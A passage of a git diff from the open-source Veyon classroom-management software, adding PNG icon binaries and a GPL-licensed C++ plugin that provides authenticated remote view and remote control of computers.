0000000000000000000000000000000000000000..48f092eca3d199287414d0a6bcb768f424924417 GIT binary patch literal 4217 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 P00000NkvXXu0mjfRd(l? literal 0 HcmV?d00001 diff --git a/plugins/powercontrol/system-reboot.png b/plugins/powercontrol/system-reboot.png new file mode 100644 index 0000000000000000000000000000000000000000..30bb99b4f5b1424f9a2ca8ef9eba7058c200b561 GIT binary patch literal 6038 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 + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "AuthenticationCredentials.h" +#include "RemoteAccessFeaturePlugin.h" +#include "RemoteAccessWidget.h" +#include "VeyonMasterInterface.h" + + +RemoteAccessFeaturePlugin::RemoteAccessFeaturePlugin( QObject* parent ) : + QObject( parent ), + m_remoteViewFeature( Feature::Session | Feature::Master, + Feature::Uid( "a18e545b-1321-4d4e-ac34-adc421c6e9c8" ), + Feature::Uid(), + tr( "Remote view" ), QString(), + tr( "Open a remote view for a computer without interaction." ), + QStringLiteral(":/remoteaccess/kmag.png") ), + m_remoteControlFeature( Feature::Session | Feature::Master, + Feature::Uid( "ca00ad68-1709-4abe-85e2-48dff6ccf8a2" ), + Feature::Uid(), + tr( "Remote control" ), QString(), + tr( "Open a remote control window for a computer." ), + QStringLiteral(":/remoteaccess/krdc.png") ), + m_features( { m_remoteViewFeature, m_remoteControlFeature } ), + m_commands( { +{ QStringLiteral("view"), m_remoteViewFeature.displayName() }, +{ QStringLiteral("control"), m_remoteControlFeature.displayName() }, +{ QStringLiteral("help"), tr( "Show help about command" ) }, + } ) +{ +} + + + +RemoteAccessFeaturePlugin::~RemoteAccessFeaturePlugin() +{ +} + + + +const FeatureList &RemoteAccessFeaturePlugin::featureList() const +{ + return m_features; +} + + + +bool RemoteAccessFeaturePlugin::startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + // determine which computer to access and ask if neccessary + ComputerControlInterface::Pointer remoteAccessComputer; + + if( ( feature.uid() == m_remoteViewFeature.uid() || + feature.uid() == m_remoteControlFeature.uid() ) && + computerControlInterfaces.count() != 1 ) + { + QString hostName = QInputDialog::getText( master.mainWindow(), + tr( "Remote access" ), + tr( "Please enter the hostname or IP address of the computer to access:" ) ); + if( hostName.isEmpty() ) + { + return false; + } + + Computer customComputer; + customComputer.setHostAddress( hostName ); + remoteAccessComputer = ComputerControlInterface::Pointer::create( customComputer ); + } + else + { + if( computerControlInterfaces.count() >= 1 ) + { + remoteAccessComputer = computerControlInterfaces.first(); + } + } + + if( remoteAccessComputer.isNull() ) + { + return false; + } + + if( feature.uid() == m_remoteViewFeature.uid() ) + { + new RemoteAccessWidget( remoteAccessComputer, true ); + + return true; + } + else if( feature.uid() == m_remoteControlFeature.uid() ) + { + new RemoteAccessWidget( remoteAccessComputer, false ); + + return true; + } + + return false; +} + + + +QStringList RemoteAccessFeaturePlugin::commands() const +{ + return m_commands.keys(); +} + + + +QString RemoteAccessFeaturePlugin::commandHelp( const QString& command ) const +{ + return m_commands.value( command ); +} + + + +CommandLinePluginInterface::RunResult RemoteAccessFeaturePlugin::handle_view( const QStringList& arguments ) +{ + if( arguments.count() < 1 ) + { + return NotEnoughArguments; + } + + return remoteAccess( arguments.first(), true ) ? Successful : Failed; +} + + + +CommandLinePluginInterface::RunResult RemoteAccessFeaturePlugin::handle_control( const QStringList& arguments ) +{ + if( arguments.count() < 1 ) + { + return NotEnoughArguments; + } + + return remoteAccess( arguments.first(), false ) ? Successful : Failed; +} + + + +CommandLinePluginInterface::RunResult RemoteAccessFeaturePlugin::handle_help( const QStringList& arguments ) +{ + if( arguments.value( 0 ) == QStringLiteral("view") ) + { + printf( "\nremoteaccess view \n\n" ); + return NoResult; + } + else if( arguments.value( 0 ) == QStringLiteral("control") ) + { + printf( "\nremoteaccess control \n}n" ); + return NoResult; + } + + return InvalidCommand; +} + + + +bool RemoteAccessFeaturePlugin::initAuthentication() +{ + if( VeyonCore::instance()->initAuthentication( AuthenticationCredentials::AllTypes ) == false ) + { + qWarning() << "Could not initialize authentication"; + return false; + } + + return true; +} + + + +bool RemoteAccessFeaturePlugin::remoteAccess( const QString& hostAddress, bool viewOnly ) +{ + if( initAuthentication() == false ) + { + return false; + } + + Computer remoteComputer; + remoteComputer.setName( hostAddress ); + remoteComputer.setHostAddress( hostAddress ); + + new RemoteAccessWidget( ComputerControlInterface::Pointer::create( remoteComputer ), viewOnly ); + + qApp->exec(); + + return true; +} diff --git a/plugins/remoteaccess/RemoteAccessFeaturePlugin.h b/plugins/remoteaccess/RemoteAccessFeaturePlugin.h new file mode 100644 index 0000000..4ee1b87 --- /dev/null +++ b/plugins/remoteaccess/RemoteAccessFeaturePlugin.h @@ -0,0 +1,108 @@ +/* + * RemoteAccessFeaturePlugin.h - declaration of RemoteAccessFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef REMOTE_ACCESS_FEATURE_PLUGIN_H +#define REMOTE_ACCESS_FEATURE_PLUGIN_H + +#include "Computer.h" +#include "SimpleFeatureProvider.h" +#include "CommandLinePluginInterface.h" + + +class RemoteAccessFeaturePlugin : public QObject, CommandLinePluginInterface, SimpleFeatureProvider, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.RemoteAccess") + Q_INTERFACES(PluginInterface FeatureProviderInterface CommandLinePluginInterface) +public: + RemoteAccessFeaturePlugin( QObject* parent = nullptr ); + ~RemoteAccessFeaturePlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("387a0c43-1355-4ff6-9e1f-d098e9ce5127"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral("RemoteAccess"); + } + + QString description() const override + { + return tr( "Remote view or control a computer" ); + } + + QString vendor() const override + { + return QStringLiteral("Veyon Community"); + } + + QString copyright() const override + { + return QStringLiteral("Tobias Junghans"); + } + + const FeatureList& featureList() const override; + + bool startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + QString 